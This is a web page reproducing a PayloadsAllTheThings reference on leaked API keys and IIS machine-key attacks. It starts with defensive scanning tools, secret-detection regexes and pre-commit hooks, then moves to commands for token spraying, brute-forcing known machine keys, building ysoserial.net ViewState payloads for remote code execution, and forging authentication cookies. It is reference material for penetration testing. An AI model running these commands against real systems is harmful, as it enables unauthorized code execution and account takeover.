Skip to content

Payloads · Information Disclosure

API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.

16 of 16 passages

Passages
  1. API Key and Token Leaks
  2. Tools
  3. Methodology
  4. Common Causes of Leaks
  5. Validate The API Key
  6. Reducing The Attack Surface
  7. IIS-Machine-Keys: IIS Machine Keys
  8. IIS-Machine-Keys: Viewstate Format
  9. IIS-Machine-Keys: Machine Key Format And Locations
  10. IIS-Machine-Keys: Identify Known Machine Key
  11. IIS-Machine-Keys: Decode ViewState
  12. IIS-Machine-Keys: Generate ViewState For RCE
  13. IIS-Machine-Keys: MAC Is Not Enabled
  14. IIS-Machine-Keys: MAC Is Enabled And Encryption Is Disabled
  15. IIS-Machine-Keys: MAC Is Enabled And Encryption Is Enabled
  16. IIS-Machine-Keys: Edit Cookies With The Machine Key

API Key and Token Leaks

SourceOn the Atlas

> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

Tools

SourceOn the Atlas

- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets. - [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms. - [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets) - A library for detecting known secrets across many web frameworks. - [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens. - [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more. - [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web. - [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid. - [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place. - [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints. ```powershell nuclei -t token-spray/ -var token=token_list.txt ```

Methodology

SourceOn the Atlas

- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application. - **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.

Common Causes of Leaks

SourceOn the Atlas

- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code. ```py # Example of hardcoded API key api_key = "1234567890abcdef" ``` - **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub. ```ps1 ## Scan a Github Organization docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity ## Scan a GitHub Repository, its Issues and Pull Requests docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments ``` - **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries. ```ps1 # Scan a Docker image for verified secrets docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets ``` - **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes. - **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).

Validate The API Key

SourceOn the Atlas

If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.

patterns:
  - pattern:
      name: AWS API Gateway
      regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
      confidence: low
  - pattern:
      name: AWS API Key
      regex: AKIA[0-9A-Z]{16}
      confidence: high

Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key. - **Example**: Telegram Bot API Token ```ps1 curl https://api.telegram.org/bot<TOKEN>/getMe ```

Reducing The Attack Surface

SourceOn the Atlas

Check the existence of a private key or AWS credentials before committing your changes in a GitHub repository. Add these lines to your `.pre-commit-config.yaml` file.

-   repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v3.2.0
    hooks:
    -   id: detect-aws-credentials
    -   id: detect-private-key

IIS-Machine-Keys: IIS Machine Keys

SourceOn the Atlas

> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

IIS-Machine-Keys: Viewstate Format

SourceOn the Atlas

ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information. | Format | Properties | | ------------------ | ------------------------------------------------------------ | | Base64 | `EnableViewStateMac=False`, `ViewStateEncryptionMode=False` | | Base64 + MAC | `EnableViewStateMac=True` | | Base64 + Encrypted | `ViewStateEncryptionMode=True` | By default until Sept 2014, the `enableViewStateMac` property was to set to `False`. Usually unencrypted viewstate are starting with the string `/wEP`.

IIS-Machine-Keys: Machine Key Format And Locations

SourceOn the Atlas

A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments. The format of a machineKey is the following.

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />

The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with. The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data. The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others. The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name. The following example of a machineKey is from [Microsoft documentation](https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />

Common locations of **web.config** / **machine.config** * 32-bits * `C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config` * `C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config` * 64-bits * `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config` * `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config` * in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.aspx](https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)) * `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4` * `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`

IIS-Machine-Keys: Identify Known Machine Key

SourceOn the Atlas

Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet. * [isclayton/viewstalker](https://github.com/isclayton/viewstalker) ```powershell ./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt ____ ____.__ __ .__ __ \ \ / /|__| ______ _ _________/ |______ | | | | __ ___________ \ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \ \ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/ \___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__| \/ \/ \/ \/ \/ KEY FOUND!!! Host: Validation Key: XXXXX,XXXXX ``` * [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) ```ps1 python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6 Matching MachineKeys found! validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1 ``` * [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets) ```ps1 python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5 python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/ python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://10.10.10.10:8080/ python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://10.10.10.10:8080/a1/b/c1/ ``` * [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r) ```powershell AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy ``` * [0xacb/viewgen](https://github.com/0xacb/viewgen) ```powershell $ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI=" [+] ViewState is not encrypted [+] Signature algorithm: SHA1 ``` List of interesting machine keys to use: * [NotSoSecure/Blacklist3r/MachineKeys.txt](https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt) * [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt) * [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)

IIS-Machine-Keys: Decode ViewState

SourceOn the Atlas

* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data. * [0xacb/viewgen](https://github.com/0xacb/viewgen) ```powershell viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY=" ```

IIS-Machine-Keys: Generate ViewState For RCE

SourceOn the Atlas

First you need to decode the Viewstate to know if the MAC and the encryption are enabled. **Requirements**: * `__VIEWSTATE` * `__VIEWSTATEGENERATOR`

IIS-Machine-Keys: MAC Is Not Enabled

SourceOn the Atlas
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c whoami"

IIS-Machine-Keys: MAC Is Enabled And Encryption Is Disabled

SourceOn the Atlas

* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen` ```ps1 AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy # --modifier = `__VIEWSTATEGENERATOR` parameter value # --encrypteddata = `__VIEWSTATE` parameter value of the target application ``` * Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used. ```ps1 .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" # --generator = `__VIEWSTATEGENERATOR` parameter value # --validationkey = validation key from the previous command ```

IIS-Machine-Keys: MAC Is Enabled And Encryption Is Enabled

SourceOn the Atlas

Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`. If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`). * **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request ```ps1 .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug ``` * **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"` ```ps1 .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" ```

IIS-Machine-Keys: Edit Cookies With The Machine Key

SourceOn the Atlas

If you have the `machineKey` but the viewstate is disabled. ASP.net Forms Authentication Cookies : [liquidsec/aspnetCryptTools](https://github.com/liquidsec/aspnetCryptTools)

# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes

# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

Data as of 2026-11-14.

Updated AboutDevelopersSign in